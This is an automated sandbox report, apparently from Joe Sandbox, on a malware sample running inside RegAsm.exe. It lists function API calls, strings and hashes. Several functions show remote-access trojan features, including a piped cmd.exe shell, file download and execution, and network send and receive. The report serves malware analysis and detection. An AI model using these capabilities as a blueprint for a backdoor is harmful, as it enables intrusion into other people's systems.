                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseCreateValue
                        • String ID:
                        • API String ID: 1818849710-0
                        • Opcode ID: 8a000a4505fdb29c534fdcd469952580260528b50fc1865eb33bc02dff3d936a
                        • Instruction ID: 04a42b38e2882b978ed87177a7d0f50f8458418d63be9de7f69fe35b215911ab
                        • Opcode Fuzzy Hash: 8a000a4505fdb29c534fdcd469952580260528b50fc1865eb33bc02dff3d936a
                        • Instruction Fuzzy Hash: 16E06572500318FBEF115F90DC05FEA7B6CDF04B52F1045A5BF09A6191D3358E549798
                        Function 0044EDC4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON
                        Download Yara Rule
                        APIs
                        • GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0044EDE9
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Info
                        • String ID:
                        • API String ID: 1807457897-3916222277
                        • Opcode ID: a85cb1b2b9373234b1d7ad287e33ad953b4b977bb3bdbd209019650f1141d576
                        • Instruction ID: 44bbd8f54034b75cb3f6f6e84f1b5a7d7ac270184ed4e74474e217fcd589b3ab
                        • Opcode Fuzzy Hash: a85cb1b2b9373234b1d7ad287e33ad953b4b977bb3bdbd209019650f1141d576
                        • Instruction Fuzzy Hash: 74411E705043489AEF218F65CC84AF7BBB9FF45308F2408EEE59A87142D2399E45DF65
                        Function 00409DE4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMON
                        Download Yara Rule
                        APIs
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: _wcslen
                        • String ID: pQG
                        • API String ID: 176396367-3769108836
                        • Opcode ID: 1f3b91536cece4da7108cf24afec647958326f81796985407c04b0a2ae37731c
                        • Instruction ID: e6961f6084f98a1e57a9a6385a58e5d20214d93246a99e64d0d6a4ea431d93e1
                        • Opcode Fuzzy Hash: 1f3b91536cece4da7108cf24afec647958326f81796985407c04b0a2ae37731c
                        • Instruction Fuzzy Hash: 8111C3319002059BCB15EF65E8529EF7BB5EF54318B10013FF406A62E2EFB8AD05CB98
                        Function 00448BB3 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000001,?,?), ref: 00448C24
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: String
                        • String ID: LCMapStringEx
                        • API String ID: 2568140703-3893581201
                        • Opcode ID: 0d5bd11df5ef9a2e9891dfdca4fac69d3ce43e49c64e471a80bfc951609a4a07
                        • Instruction ID: 91dcaeff4e4508283399e99d6512adb219adb357de156da575c9a111b1dd59a7
                        • Opcode Fuzzy Hash: 0d5bd11df5ef9a2e9891dfdca4fac69d3ce43e49c64e471a80bfc951609a4a07
                        • Instruction Fuzzy Hash: 3F016532500209FBCF029F90DC01EEE7F62EF08351F10452AFE0925161CA3A8971AB99
                        Function 00448A84 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • InitializeCriticalSectionAndSpinCount.KERNEL32(00000FA0,-00000020,0044BF4F,-00000020,00000FA0,00000000,00467378,00467378), ref: 00448ACF
                        Strings
                        • InitializeCriticalSectionEx, xrefs: 00448A9F
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CountCriticalInitializeSectionSpin
                        • String ID: InitializeCriticalSectionEx
                        • API String ID: 2593887523-3084827643
                        • Opcode ID: 682e35b38dfd5190380aa89288d85395b8b8c573abd287f9b51c67f13ec4e10f
                        • Instruction ID: 658be74961f29c719de8c28810f5b4ff6aac6a213607643c1e3aaf487ccb6ecc
                        • Opcode Fuzzy Hash: 682e35b38dfd5190380aa89288d85395b8b8c573abd287f9b51c67f13ec4e10f
                        • Instruction Fuzzy Hash: 12F0E235640208FBCF019F51DC06EAE7F61EF48722F10816AFC096A261DE799D25ABDD
                        Function 00448710 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON
                        Download Yara Rule
                        APIs
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Alloc
                        • String ID: FlsAlloc
                        • API String ID: 2773662609-671089009
                        • Opcode ID: b059b7acde134c04013a83b120bbe810436e60e70eecf54d389d9c1387c32ac7
                        • Instruction ID: c1fb2f6f3e96c04a711f36652bc0978b46922b6b0bac1ff16f6cb7e5114ce70e
                        • Opcode Fuzzy Hash: b059b7acde134c04013a83b120bbe810436e60e70eecf54d389d9c1387c32ac7
                        • Instruction Fuzzy Hash: 98E02B30640218E7D700AF65DC16A6EBB94CF48B12B20057FFD0557391DE786D0595DE
                        Function 00438D94 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON
                        Download Yara Rule
                        APIs
                        • try_get_function.LIBVCRUNTIME ref: 00438DA9
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: try_get_function
                        • String ID: FlsAlloc
                        • API String ID: 2742660187-671089009
                        • Opcode ID: 5196da0208b4c88d7e80b60f7c4aa489d06214170f9357b8a7661789506c7008
                        • Instruction ID: 997240ade825b32cd49e327dc5ad0f79abc42783939d358afc793268dfa947f7
                        • Opcode Fuzzy Hash: 5196da0208b4c88d7e80b60f7c4aa489d06214170f9357b8a7661789506c7008
                        • Instruction Fuzzy Hash: 1FD05B31B8172866861036D56C02B99F654CB45BF7F14106BFF0875293999D581451DE
                        Function 0041B7B6 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON
                        Download Yara Rule
                        APIs
                        • GlobalMemoryStatusEx.KERNEL32(?), ref: 0041B7CA
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: GlobalMemoryStatus
                        • String ID: @
                        • API String ID: 1890195054-2766056989
                        • Opcode ID: 2ff32e62116e468e6d8a54eb6c0bfd9d688f6c12eac0596ef65494206548ed21
                        • Instruction ID: 2d2b64c70bc766df394076410504e3f9c8f669937c614d63c6700d8895b1c70c
                        • Opcode Fuzzy Hash: 2ff32e62116e468e6d8a54eb6c0bfd9d688f6c12eac0596ef65494206548ed21
                        • Instruction Fuzzy Hash: E6D017B58023189FC720DFA8E804A8DBBFCFB08210F00456AEC49E3700E770E8008B94
                        Function 0044F119 Relevance: 3.2, APIs: 2, Instructions: 168COMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 0044ECEC: GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
                        • IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0044EFBA,?,00000000), ref: 0044F18D
                        • GetCPInfo.KERNEL32(00000000,0044EFBA,?,?,?,0044EFBA,?,00000000), ref: 0044F1A0
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CodeInfoPageValid
                        • String ID:
                        • API String ID: 546120528-0
                        • Opcode ID: 0fcd41bea27e2464632381dc73460c859b02871e76ebf75d2761c723038ba765
                        • Instruction ID: 3b7bf12515eb554c774b4e527f81d40cffab4a6430697902d987c8214247c1f3
                        • Opcode Fuzzy Hash: 0fcd41bea27e2464632381dc73460c859b02871e76ebf75d2761c723038ba765
                        • Instruction Fuzzy Hash: BB5116749002469EFB24CF76C8816BBBBE5FF41304F1444BFD08687251D6BE994ACB99
                        Function 0044EF58 Relevance: 3.1, APIs: 2, Instructions: 91COMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                          • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                          • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                          • Part of subcall function 0044F077: _abort.LIBCMT ref: 0044F0A9
                          • Part of subcall function 0044F077: _free.LIBCMT ref: 0044F0DD
                          • Part of subcall function 0044ECEC: GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
                        • _free.LIBCMT ref: 0044EFD0
                        • _free.LIBCMT ref: 0044F006
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: _free$ErrorLast_abort
                        • String ID:
                        • API String ID: 2991157371-0
                        • Opcode ID: 23ed7ce0d1312216544e861ed2cc667081b9de49bf4146cfd61311aa69b4ec7f
                        • Instruction ID: 3a29b68b49955ca98559fee15c42126097606514ccea0e67eec2104835090475
                        • Opcode Fuzzy Hash: 23ed7ce0d1312216544e861ed2cc667081b9de49bf4146cfd61311aa69b4ec7f
                        • Instruction Fuzzy Hash: FD31D531904104BFFB10EB6AD440B9EB7E4FF40329F2540AFE5149B2A1DB399D45CB48
                        Function 004484CA Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000,00000364,?,004482E7,00000000), ref: 0044852A
                        • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00448537
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: AddressProc__crt_fast_encode_pointer
                        • String ID:
                        • API String ID: 2279764990-0
                        • Opcode ID: 8089c10b092d0b8b49c4e4c687cc442f2ac99aa31dc0a9ae19eeba6ee39a8a7d
                        • Instruction ID: 198cd69cd453a5762926ca534f03dc7b1e1ac857a4a5158ec5eb6717dc05f104
                        • Opcode Fuzzy Hash: 8089c10b092d0b8b49c4e4c687cc442f2ac99aa31dc0a9ae19eeba6ee39a8a7d
                        • Instruction Fuzzy Hash: C3113A37A00131AFEB21DE1CDC4195F7391EB80724716452AFC08AB354DF34EC4186D8
                        Function 0040482D Relevance: 3.0, APIs: 2, Instructions: 40networkCOMMON
                        Download Yara Rule
                        APIs
                        • socket.WS2_32(?,00000001,00000006), ref: 00404852
                        • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000,?,0040530B,?,?,00000000,00000000,?,?,00000000,00405208,?,00000000), ref: 0040488E
                          • Part of subcall function 0040489E: WSAStartup.WS2_32(00000202,00000000), ref: 004048B3
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CreateEventStartupsocket
                        • String ID:
                        • API String ID: 1953588214-0
                        • Opcode ID: afd00016faedd330142d6470bb716eda446324a36170d88fbab64c940495e811
                        • Instruction ID: 7af5cc85a36d800a693892934b5c0b91abe86707509305098cc6d5fca1b6a633
                        • Opcode Fuzzy Hash: afd00016faedd330142d6470bb716eda446324a36170d88fbab64c940495e811
                        • Instruction Fuzzy Hash: 6E0171B1408B809ED7359F38A8456977FE0AB55304F048D6EF1DA97B91D3B5A881CB18
                        Function 0040165E Relevance: 3.0, APIs: 2, Instructions: 32COMMON
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: dd3aabd753e8fbc850dd588cbaeb9a0baf8afa37155383fde8690b9b823aeb90
                        • Instruction ID: 20740d68f627359004b4f50e822579efa7e6dd26000e0d34fcfb16e84f8f3500
                        • Opcode Fuzzy Hash: dd3aabd753e8fbc850dd588cbaeb9a0baf8afa37155383fde8690b9b823aeb90
                        • Instruction Fuzzy Hash: 6EF0E2706042015BDB1C8B34CD60B2A36955B84315F288F3FF01AD61E0C73EC8918A0D
                        Function 0041BA96 Relevance: 3.0, APIs: 2, Instructions: 26COMMON
                        Download Yara Rule
                        APIs
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Window$ForegroundText
                        • String ID:
                        • API String ID: 29597999-0
                        • Opcode ID: 3324f64634fda987d6d57ad9b9c1a74d02492aa66b07baf7772615d4eb65d97a
                        • Instruction ID: 4615795adb372a642f3ed3ff298372a60f443b3219566b47796808df054d69ed
                        • Opcode Fuzzy Hash: 3324f64634fda987d6d57ad9b9c1a74d02492aa66b07baf7772615d4eb65d97a
                        • Instruction Fuzzy Hash: CCE0D875A00328A7E720A7A49C4EFE5776CEB08701F0000EEBA18D71C2EAB4AD04C7E4
                        Function 00414EE9 Relevance: 3.0, APIs: 2, Instructions: 21networkCOMMON
                        Download Yara Rule
                        APIs
                        • getaddrinfo.WS2_32(00000000,00000000,00000000,00472ADC,004750E4,00000000,00415188,00000000,00000001), ref: 00414F0B
                        • WSASetLastError.WS2_32(00000000), ref: 00414F10
                          • Part of subcall function 00414D86: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00414DD5
                          • Part of subcall function 00414D86: LoadLibraryA.KERNEL32(?), ref: 00414E17
                          • Part of subcall function 00414D86: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E37
                          • Part of subcall function 00414D86: FreeLibrary.KERNEL32(00000000), ref: 00414E3E
                          • Part of subcall function 00414D86: LoadLibraryA.KERNEL32(?), ref: 00414E76
                          • Part of subcall function 00414D86: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E88
                          • Part of subcall function 00414D86: FreeLibrary.KERNEL32(00000000), ref: 00414E8F
                          • Part of subcall function 00414D86: GetProcAddress.KERNEL32(00000000,?), ref: 00414E9E
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Library$AddressProc$FreeLoad$DirectoryErrorLastSystemgetaddrinfo
                        • String ID:
                        • API String ID: 1170566393-0
                        • Opcode ID: 6695e73d4224f512b623112065335d5dbc2e445aee0e7ca71efd6bc9c5f08a3e
                        • Instruction ID: cadd3d9b0d0923a9352550a0b766658ea18523973fceddbfefdc7c35282954d4
                        • Opcode Fuzzy Hash: 6695e73d4224f512b623112065335d5dbc2e445aee0e7ca71efd6bc9c5f08a3e
                        • Instruction Fuzzy Hash: 9ED017322015316BD320A769AC01AFBAA9EDBD7771B16003BFA08D3210D6949C8282E8
                        Function 0043A3EC Relevance: 3.0, APIs: 2, Instructions: 19COMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00438D94: try_get_function.LIBVCRUNTIME ref: 00438DA9
                        • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A40A
                        • ___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 0043A415
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
                        • String ID:
                        • API String ID: 806969131-0
                        • Opcode ID: b65774da924b1ebf27bf40d163950e62dcf9712d149a04772a22db3bc715a471
                        • Instruction ID: 13a2799ba917d8b657c14e130d7338f5d7a652e6d8bc03527a2a5cb893e190b1
                        • Opcode Fuzzy Hash: b65774da924b1ebf27bf40d163950e62dcf9712d149a04772a22db3bc715a471
                        • Instruction Fuzzy Hash: 23D0A920088310241C14A3792C0F19B53442A3A7BCF70726FFAF4861C3EEDC8062612F
                        Function 0043AA1B Relevance: 1.5, APIs: 1, Instructions: 48COMMON
                        Download Yara Rule
                        APIs
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: __alldvrm
                        • String ID:
                        • API String ID: 65215352-0
                        • Opcode ID: 28369f91ca91e66110a0b1c9409ed0194f098364de9e422e31faff2ad6e8f38b
                        • Instruction ID: 96d9d97d68b67d0c8e80b5665a39335b0ee5c72343be31c2f0b4d265a228e715
                        • Opcode Fuzzy Hash: 28369f91ca91e66110a0b1c9409ed0194f098364de9e422e31faff2ad6e8f38b
                        • Instruction Fuzzy Hash: 08012872950318BFDB24EF64C942B6E77ECEB0531DF10846FE48597240C6799D00C75A
                        Function 00446137 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: AllocateHeap
                        • String ID:
                        • API String ID: 1279760036-0
                        • Opcode ID: 091c80118a57d95ebc2facbedd4e69ebcf5b938ae1e913472e35806a21779949
                        • Instruction ID: 4903450aafda00484806ba385278610c2731405ed8485190d5fd86014b6ab98c
                        • Opcode Fuzzy Hash: 091c80118a57d95ebc2facbedd4e69ebcf5b938ae1e913472e35806a21779949
                        • Instruction Fuzzy Hash: 92E0ED3120062577FB2226669D05B5B365D9F033A2F160127EC0AA2283DF7CCC0081EF
                        Function 0040489E Relevance: 1.5, APIs: 1, Instructions: 15networkCOMMON
                        Download Yara Rule
                        APIs
                        • WSAStartup.WS2_32(00000202,00000000), ref: 004048B3
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Startup
                        • String ID:
                        • API String ID: 724789610-0
                        • Opcode ID: d1a3cfe2fad2e3cb4d6962b6d8b640ceb39eb3bb27a9d976f59a5119cf7f3e63
                        • Instruction ID: a24ce82555f98f109a53945ea9c337c8597cdca763f75144b39f195b4e3f482d
                        • Opcode Fuzzy Hash: d1a3cfe2fad2e3cb4d6962b6d8b640ceb39eb3bb27a9d976f59a5119cf7f3e63
                        • Instruction Fuzzy Hash: 0DD0C9325586088AE620AAB4AD0B8A4775C8312615F0007AA6CA5835D2E6446A19C2AA
                        Function 00426CC8 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                        Download Yara Rule
                        APIs
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: send
                        • String ID:
                        • API String ID: 2809346765-0
                        • Opcode ID: a64cf630b3b4fcbf92e6cf8d3c010959396a6b24f5439efeece66edae75e3506
                        • Instruction ID: 80dceff54fd7c7607e374e8a405dba3f032bb15cdc3f4a53630576a73fa931ff
                        • Opcode Fuzzy Hash: a64cf630b3b4fcbf92e6cf8d3c010959396a6b24f5439efeece66edae75e3506
                        • Instruction Fuzzy Hash: 79B09279108202FFCB150B60CD0887A7EAAABC8381F008A2CB187411B1C636C852AB26
                        Function 00426CB1 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                        Download Yara Rule
                        APIs
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: recv
                        • String ID:
                        • API String ID: 1507349165-0
                        • Opcode ID: 12f17b9eb2b05ccee17ecde8d051cd75af37e2c2e0a2002d53484fbbe037e517
                        • Instruction ID: 54da5cb0358175ea3eef87e0ba5f02fe09cc36e19498aa822303b7a5c5cf0de8
                        • Opcode Fuzzy Hash: 12f17b9eb2b05ccee17ecde8d051cd75af37e2c2e0a2002d53484fbbe037e517
                        • Instruction Fuzzy Hash: 38B09B75108302FFC6150750CC0486A7D66DBC8351B00481C714641170C736C8519725

                        Non-executed Functions

                        Function 00407C97 Relevance: 44.6, APIs: 10, Strings: 15, Instructions: 835filesleepCOMMON
                        Download Yara Rule
                        APIs
                        • SetEvent.KERNEL32(?,?), ref: 00407CB9
                        • GetFileAttributesW.KERNEL32(00000000,00000000,?), ref: 00407D87
                        • DeleteFileW.KERNEL32(00000000), ref: 00407DA9
                          • Part of subcall function 0041C291: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C2EC
                          • Part of subcall function 0041C291: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C31C
                          • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C371
                          • Part of subcall function 0041C291: FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D2
                          • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D9
                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                          • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                          • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(?,00000000,0040547D,?,?,00000004,?,?,00000004,?,00474EF8,?), ref: 00404B47
                          • Part of subcall function 00404AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,?,00474EF8,?,?,?,?,?,?,0040547D), ref: 00404B75
                        • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00408197
                        • GetLogicalDriveStringsA.KERNEL32 ref: 00408278
                        • SetFileAttributesW.KERNEL32(00000000,?,00000000,00000001), ref: 004084C4
                        • DeleteFileA.KERNEL32(?), ref: 00408652
                          • Part of subcall function 0040880C: __EH_prolog.LIBCMT ref: 00408811
                          • Part of subcall function 0040880C: FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
                          • Part of subcall function 0040880C: __CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
                          • Part of subcall function 0040880C: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF
                        • Sleep.KERNEL32(000007D0), ref: 004086F8
                        • StrToIntA.SHLWAPI(00000000), ref: 0040873A
                          • Part of subcall function 0041C9E2: SystemParametersInfoW.USER32 ref: 0041CAD7
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: File$Find$AttributesDeleteDirectoryEventFirstNextRemove$CloseDriveException@8ExecuteH_prologInfoLocalLogicalObjectParametersShellSingleSleepStringsSystemThrowTimeWaitsend
                        • String ID: (PG$Browsing directory: $Deleted file: $Downloaded file: $Downloading file: $Executing file: $Failed to download file: $Unable to delete: $Unable to rename file!$XPG$XPG$XPG$XPG$open$NG
                        • API String ID: 1067849700-181434739
                        • Opcode ID: 4e58a0086eefa5a7d711f599d6b504f8132a4b145ccff10764beb7e3a44898d0
                        • Instruction ID: 75e26f7f6c3f3dbd7fc3c9379f58c72dc3a715cd35b24c1fb8b7d51949cc7e38
                        • Opcode Fuzzy Hash: 4e58a0086eefa5a7d711f599d6b504f8132a4b145ccff10764beb7e3a44898d0
                        • Instruction Fuzzy Hash: FE427F71A043016BC604FB76C95B9AE77A5AF91348F40093FF542671E2EE7C9A08879B
                        Function 0040569A Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 278pipesleepfileCOMMON
                        Download Yara Rule
                        APIs
                        • __Init_thread_footer.LIBCMT ref: 004056E6
                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                        • __Init_thread_footer.LIBCMT ref: 00405723
                        • CreatePipe.KERNEL32(00476CCC,00476CB4,00476BD8,00000000,004660BC,00000000), ref: 004057B6
                        • CreatePipe.KERNEL32(00476CB8,00476CD4,00476BD8,00000000), ref: 004057CC
                        • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00476BE8,00476CBC), ref: 0040583F
                        • Sleep.KERNEL32(0000012C,00000093,?), ref: 00405897
                        • PeekNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004058BC
                        • ReadFile.KERNEL32(00000000,?,?,00000000), ref: 004058E9
                          • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                        • WriteFile.KERNEL32(00000000,00000000,?,00000000,00474F90), ref: 004059E4
                        • Sleep.KERNEL32(00000064,00000062,004660A4), ref: 004059FE
                        • TerminateProcess.KERNEL32(00000000), ref: 00405A17
                        • CloseHandle.KERNEL32 ref: 00405A23
                        • CloseHandle.KERNEL32 ref: 00405A2B
                        • CloseHandle.KERNEL32 ref: 00405A3D
                        • CloseHandle.KERNEL32 ref: 00405A45
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseHandle$CreatePipe$FileInit_thread_footerProcessSleep$NamedPeekReadTerminateWrite__onexitsend
                        • String ID: 0lG$0lG$0lG$0lG$0lG$SystemDrive$cmd.exe$kG
                        • API String ID: 2994406822-18413064
                        • Opcode ID: 0bbaae79d37784eff0bda4ee73f6175408756e6d55542185b1592f0638578cac
                        • Instruction ID: 70e6a120cd26ef4d63fea04585a98dfb86eec3f3f3d93349c630b188a9e88b71
                        • Opcode Fuzzy Hash: 0bbaae79d37784eff0bda4ee73f6175408756e6d55542185b1592f0638578cac
